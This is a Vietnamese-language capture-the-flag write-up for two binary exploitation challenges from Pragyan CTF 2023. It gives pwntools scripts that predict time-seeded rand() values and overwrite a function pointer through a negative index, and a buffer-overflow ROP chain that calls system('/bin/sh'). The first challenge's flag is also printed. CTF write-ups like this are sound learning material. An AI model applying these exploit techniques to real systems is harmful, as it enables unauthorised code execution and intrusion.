(writeup) p_ctf'23

Story

• check file

• check ida

• checksec

• đề bài sẽ nhảy đến hàm random_check đầu tiên, yêu cầu ta đoán số 5 lần, nếu số nhập vào giống với rand() % 1000 thì đi tiếp hàm vuln
• vấn đề là hàm rand() là 1 hàm cho 1 số nguyên dương ngẫu nhiên

• và cũng có hàm srand() cũng sinh ra số ngẫu nhiên nhưng có lồng hàm time() vào. hàm time() là tính từ năm 1900 mấy
• lỗi ở đây, ta có thể leak time() và khiến cho hàm check() thoả mãn

• ta sẽ tính offset

• kiểm ta check

• thấy rằng hiện tại nó đg trỏ tới hard_set_wwinner

pointer fun point to check 
address check point hard_set_winner
aim: sub 211 to point easy_set_wwinner

• do địa chỉ của fun cao hơn check nên hướng đi ta cần fun trỏ đến easy_set_winner

• ngoài ra, khi hàm random_check đã qua, ta sẽ đến hàm vuln() dữ liệu vào khai thác

• vì tiến vào trong hàm easy_set_winner và yêu cầu tổng byte là 1240:

• ta sẽ thử nhập:

• vậy payload của ta là abcdefghijkv

• biến v4 được khai báo là int, mà lại nằm trong mảng fun, nên ta lấy offset tính được chia cho 4 (int_64 sẽ chia cho 8)

• script:

#!/usr/bin/python3

from pwn import *
import random
import time
from ctypes import *

context.binary = exe =ELF('./story',checksec=False)
elf = cdll.LoadLibrary("libc.so.6")

#p = process(exe.path)
p = remote('story.ctf.pragyan.org', 6004)

giay = int(time.time() // 60)
elf.srand(giay)

hard_set_winner = 0x5555555554b4
easy_set_winner = 0x5555555553e1
#offset = 211
fun = 0x555555558040
check = 0x555555558010
#offset = 48

# pointer fun point check, check point hard_set_checker
# sub 211 to point easy_set_checker
for i in range(0, 4):
	payload = str(elf.rand() % 1000).encode()
	p.sendlineafter(b'guess: ',payload)

payload = b'abcdefghijkv'

p.sendlineafter(b'game ',payload)

p.sendlineafter(b'1000: ', b'-12 -211')

p.interactive()

p_ctf{s4y_tk_288_dg_st0ry}

---

Execution

• check file + checksec

• check ida

• có lỗi BOF ở hàm gets, có cả function ẩn đi là date(), trong func đó có system nhưng system này sẽ cho ta thời gian hiện tại máy chủ, khá vô dụng khi nghĩ đến ret2win
• vậy ta lợi dụng hàm system nhưng sẽ thực thi '/bin/sh' thay vì '/bin/date'
• ta cần truyền chuỗi '/bin/sh\0' vào 1 vùng nhớ ghi được nào đó thông qua 1 hàm cho ta nhập thêm 1 lần nữa (cụ thể có gets thì dùng nó luôn)
• đưa vùng nhớ mình ghi vào $rdi
• gọi system lên là có shell

• script:

#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./execution',checksec=False)
libc = ELF('./libc.so.6',checksec=False)

p = process(exe.path)
#p = remote('execution.ctf.pragyan.org', 12386)

pop_rdi = 0x0000000000400703
rw_section = 0x00000000601a00

payload = b'A'*72
payload += p64(pop_rdi) + p64(rw_section)
payload += p64(exe.plt['gets'])
payload += p64(pop_rdi) + p64(rw_section)
payload += p64(exe.plt['system'])

p.sendlineafter(b'program: \n', payload)

sleep(1)

p.sendline(b'/bin/sh')

p.interactive()